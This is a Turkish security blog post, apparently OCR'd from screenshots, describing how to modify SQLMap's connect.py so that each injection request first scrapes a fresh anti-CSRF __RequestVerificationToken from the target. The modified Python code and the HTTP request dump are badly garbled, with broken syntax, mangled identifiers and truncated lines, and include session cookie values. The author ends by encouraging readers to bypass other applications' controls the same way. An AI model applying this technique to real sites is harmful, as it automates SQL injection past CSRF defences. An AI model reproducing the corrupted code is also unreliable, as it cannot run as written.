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Merhabalar,

Bircok glivenlik arastirmacisi web uygulamalari igin penetrasyon testleri yaparken, tespit

ettikleri zafiyetleri exploit edebilmek adina gesitli araglardan faydalanmaktadir. Bu araclar

genel olarak islemleri otomatik hale getiriyor olsalar da kismen yetersiz kaldiklari durumlar

veya glvenlik denetimlerine takildiklari zamanlar vardir. Bu baslik altinda SQLMap aracini

kullanarak CSRF(Cross-site Request Forgery) icin alinmis bir dizi 6nlemi bypass etmenin

yollarina deyinecegim.
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Burada kullanilan CSRF mekanizmasinin galisma anatomisine goz atacak olursak, Server'in,
Client icin gonderdigi cevapta (response) sayfa icerisindeki formlar icin random bir token
olusturulmus. Server Client'tan gelecek olan her istek icin bu token degerini beklemektedir.
Eder bu token gonderilirse, Istek(request) icin Cevap(response) verilecektir. Sayfa her
yenilendiginde (her request icin) o sayfaya 6zel uniq bir token olusturulmakta ve yapilacak

istek icin bu token beklenmektedir.

SQLMap aracinin bu seneryo/mekanizma igerisinde kullanacagimizi distnirsek, yapilacak
atack'in basarisiz olacagini hemen anlayabiliriz.SQLMap'in bu seneryo igerisinde server igin
yapacadi her istek icerisinde server icin bir token géndermesi gerekmektedir. Bu tip bir

durum icin SQLMap icerisinde yapilacak ufak bir kac degisiklik ile SQLMap icin bu yetenek

kazandirilabilinir.

Hedefimiz SQLMap aracigini galisma mekanizmasini dedistirmek suretiyle yapacadi her
istek(request) 6ncesinde Server'dan ilgili token dederini alip, yapacagi bir sonraki
istek(request) icerisinde bu token'i kullanmasi. Bu sebeple bulmamiz gereken 6ncelikli sey
SQLMap aracinin istek yapmis oldugu moddil.

https://github.com/sqlmapproject/sqlmap/blob/master/lib/request/connect.py

SQLMap araci biraz inceledigimizde yapilan her istek icin connect.py icerisinde
bulunan getPage functionini kullandigini agikca gérebilmekteyiz. Seneryomuza gére
yapilacak her islem icin SQLMap aracinin server ile iletisim saglamasi ise bu function
icerisinde degisiklik yapmamiz bizim igin yeterli olacaktir.

Seneryomuza gore simdiki hedefimiz server'in client igin olusturdugu token'i sayfa igerisinde
tespit etmek. Bunu anlamak igin giden trafigi veya sayfa igerisinde source code'un

incelenmesi faydali olacaktir.

Bizim 6rnedimizde ___RequestVerificationToken dederi icerisinde gidip geldigini

goridyoruz.
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Server'in client igin olusturdugu random token'in tutuldugu input dederini tespit ettik,
Simdiki hedefimiz sunucuya kendi cookie dederimiz ile istekte(request) bulunup, bize
géndermis oldugu cevap(response) icerisinde ___RequestVerificationToken dederini alip,

SQLMap icerisinde génderilecek post dederi igerisine yerlestirmek.
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if auxHeaders=:
for key, item in auxHeaders.items():
for in headers.keys():
if .upper({) == key.upper():
del header=[ ]
header=s[key] = item

for key, item in headers.items():
del headers[key]

header=[unicodeencode (key, kb.pageEncoding)] = unicodeencode (1tem, k

dataxx = ""

cooklex=

opener = urllib2.build opener()

opener.addheaders.append(('Coockie’, ' utma=140768430.1561743388.14043

]

3

utmz=140768430.1404383057.1.1l.utmesr=google |utmcon= (organic) |utmemd=or

RequestVerificationToken=ub&fbS54E]l1Zmo0Di6xDStETWES—GRNSfnmU-—xHybTnJ3Sd
NSC DTY eftufl nbsnbsb fev us=ffffffffaflfalse45525d5£4£58455e445a4a4237

opener.addheaders.append(('User—Agent', "Mozilla/5.0 (Windows NT €.1; WOW

=
N

f = opener.open("h
dataxx = f£.read()
f.clo=s()
if not dataxx = "":
cookie = cookiex
conf.cookie = cookiex
|link_re = re.compile (' (name="_ RegquestVerificationToken" type="hidde

links = link re.findall (dataxx)

csrfid = links[l].replace('valuse="","").replace("'"","") . .replace( ' nam
type=hidden ","")

post = unicodeencode (post, kb.pageEncoding)

post = pcst.replace{“g§5;$g",csrfid}

headers["Cockie"] = " utma=140768430.1561743388.14043830597.14043830

__utmz=140768430.1404383097.1.1.utncsr—gaogle |lutnecen= (organic) |uimem
RequestVerificationToken=ub6fb54E1ZmC0Di6xDStETWES-GRNS fnmU-xHybTn
NSC DTX eftufl nbsnbsb fev us=ffffffffaflBalse45525d5£4£58455e445a4a
if method:
req = MethodBRequest{url, post, headers)
req.set method (method)
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Yukarida gérmis oldugunuz gibi connect.py icerisinde getpage functioninda degisiklikler
yaptim, 1. asama olarak server icin kendi cookie degerimi set ediyorum ve 2. asamada bu
cookie dederi ile server'a istek yapiyorum(request). 2. asamada server'in bana gondermis
oldugu cevap(response) icerisinde aradigim ___RequestVerificationToken dederini
parcaliyorum(parse ediyorum). Bu dederi alip 4 asamada SQLMap'in post parametresinin

icerisindeki csrfid degiskeni ile server'dan aldigim degiskeni yer degistiriyorum. Bu sayede

SQLMap yapacadi her istek icerisinde server'a requestverification token yollamis oluyor.
h@ HTTP/1.1
HOST :

Connection: keep-alive

Content-Length: 159

Cache-Control: max-age=0

AcCcept: textfhth,appWicatinnthtm1+xm1,appWicatinnfme;q=ﬂ.Q,imagefwfbp,*f*;q=ﬂ.E
origin:

USEE—AgEﬂt: Mozilla/5.0 (windows NT 6.1; wowéd) aApplewebkit,/537.36 (KHTML, Tlike Geck
Content-Type: application/x-www-Torps

rReferer:
Accept-Encoding: gzip,deflate,sdch

Accept-Language: tr-TR,tr;qg=0.8,en-U5;q9=0.6,en;qg=0.4

Cookie: __utma=140768430.1561743388.1404383097.1404383097.1404383097.1; __utmc=1407¢

__RequestverificationToken=FEEEEREMaT 1=1brahim®40balichilisim. com*&KullaniciNo=-1

Sqglmap icerisinde ___RequestVerificationToken parametresinin dederini csrfid olarak
verdigim icin her istekte alinan request token burayla yer degistirilecektir.

Bu mantik ile farkli uygulamalarda farkli denetimleri bypass edebilirsiniz.
Herkese iyi calismalar dilerim

Ibrahim
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